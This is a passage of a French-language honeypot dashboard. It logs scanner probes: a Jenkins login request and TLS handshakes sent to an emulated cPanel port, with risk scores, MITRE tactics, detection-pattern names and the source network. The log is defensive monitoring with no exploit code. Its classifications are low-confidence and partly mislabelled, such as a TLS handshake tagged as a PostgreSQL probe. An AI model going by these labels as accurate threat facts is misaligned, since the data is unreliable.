"event_signature": "b5666f234b26e4eb17846bceb6c44715d471f7cf",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"attack_vector": "jenkins probe \u00b7 via HTTP:8080 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"classification_reason_label_fr": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 47,
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"INT-cicd-jenkins"
],
"tags_summary_labels_fr": [
"Cicd Jenkins"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Confiance mod\u00e9r\u00e9e \u2014 signal unique",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "jenkins probe \u00b7 via HTTP:8080 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 47 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"http_probe_login",
"http_ua_suspicious",
"net_web_probe"
]
}
|
|
|
TCP |
2087 · CPANEL WHM
|
cpanel-whm
|
Sonde PostgreSQL
postgres probe · via CPANEL WHM:2087 · (sonde / probe)
|
Élevée
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
CPANEL-WHM
WAF
—
Recommandation
Surveiller
Tags
cpanel_whm_emulated
cpanel_whm_payload
net_cpanel_probe
tls_clienthello
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
2087
Chemin / cible
—
Service
CPANEL WHM
Payload
� ���� X\�#�Ms�p혤o7 �OA��� D�S� �x L�Bݑ�N���6 M ��I��2 �+�/�,�0̨̩� �� � [ �
Pourquoi cette classification : Type « postgres_probe » (signaux protocolaires) · confiance 49%
Confiance classification
49%
Confiance modérée — signal unique
Risque capteur
Faible
· 35
Confiance : Confiance 49 % — Motif catalogue confirmé
Protocole émulé
1
Signaux
pat-0369
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
PostgreSQL startup
STUN binding
Minecraft varint handshake
SOCKS5 greeting
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
� ����
X\�#�Ms�p혤o7 �OA��� D�S� �x L�Bݑ�N���6
M ��I��2 �+�/�,�0̨̩� ��
� [ �
Requête brute (extrait)
� ���� X\�#�Ms�p혤o7 �OA��� D�S� �x L�Bݑ�N���6 M ��I��2 �+�/�,�0̨̩� �� � [ � � 2 + 3����qx#� I�"ʵ��< �F��Fy�w�5�Ƕ
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206370737276642f31312e3131300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2033380d0a0d0a3c68746d6c3e3c626f64793e6350616e656c204c6f67696e3c2f626f64793e3c2f68746d6c3e",
"emulator_response_len": 125,
"bytes_in": 1479,
"payload_entropy": 7.729823521837211,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "cpanel-whm",
"app_proto": "cpanel-whm",
"asn": 215925,
"country": "US",
"dst_port": 2087,
"risk_waf": 8,
"risk_classification": 32,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 3,
"risk_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 15
},
"risk_score": 35,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "51584d32aeb6bcba72953119cc78a0e0836a8f64",
"event_fingerprint": "bd94c1be47794e5b05816ea1bc287e14296ba082",
"classification_reason": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%",
"confidence": 0.49,
"classification_confidence": 0.49,
"precision_score": 58,
"precision_signals": [
"pat-0369"
],
"kb_rule_ids": [
"pat-0369"
],
"matched_patterns": [
"pat-0369",
"pat-0771",
"pat-0554",
"pat-0567",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"PostgreSQL startup",
"STUN binding",
"Minecraft varint handshake",
"SOCKS5 greeting",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0369",
"pat-0771",
"pat-0554",
"pat-0567",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 15,
"risk_score": 35
},
"named_classification_skipped": false,
"service_name": "cpanel-whm",
"risk_confidence_factor": 49,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "9dd04d01f7b88c08a517d5508ca3dbb7",
"path_pattern_hash": "80f3c71fe26f36a0a9399108643f66c5"
},
"target_context": {
"dst_port": 2087,
"service": "cpanel-whm",
"service_name": "cpanel-whm",
"risk_score": 35
},
"payload_snippet": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\ufffd\ufffd\ufffd\nX\\\u0014\ufffd\u0005#\ufffd\u0001Ms\ufffdp\ud624o\u074b7\u000b\ufffdOA\ufffd\ufffd\ufffd\u0019 \u001f\u000eD\u001a\ufffdS\ufffd\u0000\ufffdx\u0016\tL\ufffdB\u0751\ufffdN\ufffd\ufffd\ufffd6\nM\u001e\ufffd\ufffdI\ufffd\ufffd2\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\ufffd\ufffd\ufffd\nX\\\u0014\ufffd\u0005#\ufffd\u0001Ms\ufffdp\ud624o\u074b7\u000b\ufffdOA\ufffd\ufffd\ufffd\u0019 \u001f\u000eD\u001a\ufffdS\ufffd\u0000\ufffdx\u0016\tL\ufffdB\u0751\ufffdN\ufffd\ufffd\ufffd6\nM\u001e\ufffd\ufffdI\ufffd\ufffd2\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000\u0005\u0000\u0005\u0001\u0000\u0000\u0000\u0000\u0000\n\u0000\f\u0000\n\u0011\ufffd\u0000\u001d\u0000\u0017\u0000\u0018\u0000\u0019\u0000\r\u0000\u0016\u0000\u0014\b\u0004\u0004\u0003\b\u0007\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0005\u0003\u0006\u0003\u00002\u0000\u001a\u0000\u0018\b\u0004\u0004\u0003\b\u0007\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0005\u0003\u0006\u0003\u0002\u0001\u0002\u0003\u0000+\u0000\u0005\u0004\u0003\u0004\u0003\u0003\u00003\u0004\ufffd\u0004\ufffd\u0011\ufffd\u0004\ufffd\u0019qx#\u0016\ufffd\u0000I\ufffd\"\u02b5\ufffd\ufffd<\u001f\ufffdF\ufffd\ufffdFy\ufffdw\ufffd5\ufffd\u01f6",
"payload_snippet": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\ufffd\ufffd\ufffd\nX\\\u0014\ufffd\u0005#\ufffd\u0001Ms\ufffdp\ud624o\u074b7\u000b\ufffdOA\ufffd\ufffd\ufffd\u0019 \u001f\u000eD\u001a\ufffdS\ufffd\u0000\ufffdx\u0016\tL\ufffdB\u0751\ufffdN\ufffd\ufffd\ufffd6\nM\u001e\ufffd\ufffdI\ufffd\ufffd2\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"classification_reason": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "8e34b865aefa83bd4fa9c80ad00633b85e2e7cef",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\ufffd\ufffd\ufffd\nX\\\u0014\ufffd\u0005#\ufffd\u0001Ms\ufffdp\ud624o\u074b7\u000b\ufffdOA\ufffd\ufffd\ufffd\u0019 \u001f\u000eD\u001a\ufffdS\ufffd\u0000\ufffdx\u0016\tL\ufffdB\u0751\ufffdN\ufffd\ufffd\ufffd6\nM\u001e\ufffd\ufffdI\ufffd\ufffd2\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"port": 2087,
"service": "cpanel-whm",
"service_label_fr": "CPANEL WHM"
},
"evidence_snippet": "\ufffd\ufffd\ufffd\ufffd\ufffd\nX\\\ufffd#\ufffdMs\ufffdp\ud624o\u074b7\ufffdOA\ufffd\ufffd\ufffd D\ufffdS\ufffd\ufffdx\tL\ufffdB\u0751\ufffdN\ufffd\ufffd\ufffd6\nM\ufffd\ufffdI\ufffd\ufffd2\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\ufffd\n\ufffd[\ufffd",
"attack_vector": "postgres probe \u00b7 via CPANEL WHM:2087 \u00b7 (sonde \/ probe)",
"target_port_label": "2087 \u00b7 CPANEL WHM",
"emulator_service": "cpanel-whm",
"confidence_reason": "Confiance 49 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%",
"classification_reason_label_fr": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 49,
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "cpanel-whm",
"service_label_fr": "CPANEL WHM",
"dst_port": 2087,
"protocol_emulated": true,
"tags_summary": [
"pat-0369"
],
"tags_summary_labels_fr": [
"pat-0369"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-cpanel-whm",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Confiance mod\u00e9r\u00e9e \u2014 signal unique",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\ufffd\ufffd\ufffd\nX\\\u0014\ufffd\u0005#\ufffd\u0001Ms\ufffdp\ud624o\u074b7\u000b\ufffdOA\ufffd\ufffd\ufffd\u0019 \u001f\u000eD\u001a\ufffdS\ufffd\u0000\ufffdx\u0016\tL\ufffdB\u0751\ufffdN\ufffd\ufffd\ufffd6\nM\u001e\ufffd\ufffdI\ufffd\ufffd2\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"port": 2087,
"service": "cpanel-whm",
"service_label_fr": "CPANEL WHM"
},
"attack_vector": "postgres probe \u00b7 via CPANEL WHM:2087 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffd\ufffd\ufffd\ufffd\ufffd\nX\\\ufffd#\ufffdMs\ufffdp\ud624o\u074b7\ufffdOA\ufffd\ufffd\ufffd D\ufffdS\ufffd\ufffdx\tL\ufffdB\u0751\ufffdN\ufffd\ufffd\ufffd6\nM\ufffd\ufffdI\ufffd\ufffd2\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\ufffd\n\ufffd[\ufffd",
"target_port_label": "2087 \u00b7 CPANEL WHM",
"emulator_service": "cpanel-whm",
"confidence_reason": "Confiance 49 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 49 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "cpanel_whm",
"service_banner": "honeypot-cpanel-whm",
"service_os": "linux",
"dst_port": "2087"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"cpanel_whm_emulated",
"cpanel_whm_payload",
"net_cpanel_probe",
"tls_clienthello"
]
}
|
|
|
TCP |
2087 · CPANEL WHM
|
cpanel-whm
|
Sonde PostgreSQL
postgres probe · via CPANEL WHM:2087 · (sonde / probe)
|
Élevée
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
CPANEL-WHM
WAF
—
Recommandation
Surveiller
Tags
cpanel_whm_emulated
cpanel_whm_payload
net_cpanel_probe
tls_clienthello
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
2087
Chemin / cible
—
Service
CPANEL WHM
Payload
� ��2?A���QJ(pkژX�c�J�N��tZk���� 2j�S�.<�Mհ���Y�� Bb���aI�[�� �+�/�,�0̨̩� �� � [ �
Pourquoi cette classification : Type « postgres_probe » (signaux protocolaires) · confiance 49%
Confiance classification
49%
Confiance modérée — signal unique
Risque capteur
Faible
· 35
Confiance : Confiance 49 % — Motif catalogue confirmé
Protocole émulé
1
Signaux
pat-0369
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
PostgreSQL startup
STUN binding
Minecraft varint handshake
SOCKS5 greeting
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
� ��2?A���QJ(pkژX�c�J�N��tZk���� 2j�S�.<�Mհ���Y�� Bb���aI�[�� �+�/�,�0̨̩� ��
� [ �
Requête brute (extrait)
� ��2?A���QJ(pkژX�c�J�N��tZk���� 2j�S�.<�Mհ���Y�� Bb���aI�[�� �+�/�,�0̨̩� �� � [ � � 2 + 3������?&�b1s���.Z�id�9� <\���
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206370737276642f31312e3131300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2033380d0a0d0a3c68746d6c3e3c626f64793e6350616e656c204c6f67696e3c2f626f64793e3c2f68746d6c3e",
"emulator_response_len": 125,
"bytes_in": 1479,
"payload_entropy": 7.738045445837767,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "cpanel-whm",
"app_proto": "cpanel-whm",
"asn": 215925,
"country": "US",
"dst_port": 2087,
"risk_waf": 8,
"risk_classification": 32,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 3,
"risk_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 15
},
"risk_score": 35,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "51584d32aeb6bcba72953119cc78a0e0836a8f64",
"event_fingerprint": "bd94c1be47794e5b05816ea1bc287e14296ba082",
"classification_reason": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%",
"confidence": 0.49,
"classification_confidence": 0.49,
"precision_score": 58,
"precision_signals": [
"pat-0369"
],
"kb_rule_ids": [
"pat-0369"
],
"matched_patterns": [
"pat-0369",
"pat-0771",
"pat-0554",
"pat-0567",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"PostgreSQL startup",
"STUN binding",
"Minecraft varint handshake",
"SOCKS5 greeting",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0369",
"pat-0771",
"pat-0554",
"pat-0567",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 15,
"risk_score": 35
},
"named_classification_skipped": false,
"service_name": "cpanel-whm",
"risk_confidence_factor": 49,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "3adebbaa07d9dba0890503c438d74893",
"path_pattern_hash": "80f3c71fe26f36a0a9399108643f66c5"
},
"target_context": {
"dst_port": 2087,
"service": "cpanel-whm",
"service_name": "cpanel-whm",
"risk_score": 35
},
"payload_snippet": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\ufffd2?A\u000e\ufffd\ufffd\ufffdQJ\u0004(pk\u0698X\ufffdc\ufffdJ\ufffdN\ufffd\ufffdtZk\ufffd\ufffd\ufffd\ufffd 2j\ufffdS\ufffd.\u0012<\ufffdM\u0570\ufffd\ufffd\ufffdY\ufffd\u0013\ufffd\u001cBb\ufffd\ufffd\ufffdaI\ufffd[\ufffd\ufffd\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\ufffd2?A\u000e\ufffd\ufffd\ufffdQJ\u0004(pk\u0698X\ufffdc\ufffdJ\ufffdN\ufffd\ufffdtZk\ufffd\ufffd\ufffd\ufffd 2j\ufffdS\ufffd.\u0012<\ufffdM\u0570\ufffd\ufffd\ufffdY\ufffd\u0013\ufffd\u001cBb\ufffd\ufffd\ufffdaI\ufffd[\ufffd\ufffd\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000\u0005\u0000\u0005\u0001\u0000\u0000\u0000\u0000\u0000\n\u0000\f\u0000\n\u0011\ufffd\u0000\u001d\u0000\u0017\u0000\u0018\u0000\u0019\u0000\r\u0000\u0016\u0000\u0014\b\u0004\u0004\u0003\b\u0007\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0005\u0003\u0006\u0003\u00002\u0000\u001a\u0000\u0018\b\u0004\u0004\u0003\b\u0007\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0005\u0003\u0006\u0003\u0002\u0001\u0002\u0003\u0000+\u0000\u0005\u0004\u0003\u0004\u0003\u0003\u00003\u0004\ufffd\u0004\ufffd\u0011\ufffd\u0004\ufffd\ufffd\ufffd?&\ufffdb1s\ufffd\ufffd\ufffd.\u001b\u001aZ\ufffdid\ufffd9\ufffd\u001e\u0018<\\\u001b\ufffd\ufffd\ufffd",
"payload_snippet": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\ufffd2?A\u000e\ufffd\ufffd\ufffdQJ\u0004(pk\u0698X\ufffdc\ufffdJ\ufffdN\ufffd\ufffdtZk\ufffd\ufffd\ufffd\ufffd 2j\ufffdS\ufffd.\u0012<\ufffdM\u0570\ufffd\ufffd\ufffdY\ufffd\u0013\ufffd\u001cBb\ufffd\ufffd\ufffdaI\ufffd[\ufffd\ufffd\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"classification_reason": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "e0775ef1184b59b099b85a332a28c0165b83453e",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\ufffd2?A\u000e\ufffd\ufffd\ufffdQJ\u0004(pk\u0698X\ufffdc\ufffdJ\ufffdN\ufffd\ufffdtZk\ufffd\ufffd\ufffd\ufffd 2j\ufffdS\ufffd.\u0012<\ufffdM\u0570\ufffd\ufffd\ufffdY\ufffd\u0013\ufffd\u001cBb\ufffd\ufffd\ufffdaI\ufffd[\ufffd\ufffd\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"port": 2087,
"service": "cpanel-whm",
"service_label_fr": "CPANEL WHM"
},
"evidence_snippet": "\ufffd\ufffd\ufffd2?A\ufffd\ufffd\ufffdQJ(pk\u0698X\ufffdc\ufffdJ\ufffdN\ufffd\ufffdtZk\ufffd\ufffd\ufffd\ufffd 2j\ufffdS\ufffd.<\ufffdM\u0570\ufffd\ufffd\ufffdY\ufffd\ufffdBb\ufffd\ufffd\ufffdaI\ufffd[\ufffd\ufffd\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\ufffd\n\ufffd[\ufffd",
"attack_vector": "postgres probe \u00b7 via CPANEL WHM:2087 \u00b7 (sonde \/ probe)",
"target_port_label": "2087 \u00b7 CPANEL WHM",
"emulator_service": "cpanel-whm",
"confidence_reason": "Confiance 49 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%",
"classification_reason_label_fr": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 49,
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "cpanel-whm",
"service_label_fr": "CPANEL WHM",
"dst_port": 2087,
"protocol_emulated": true,
"tags_summary": [
"pat-0369"
],
"tags_summary_labels_fr": [
"pat-0369"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-cpanel-whm",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Confiance mod\u00e9r\u00e9e \u2014 signal unique",
"protocol_details": {
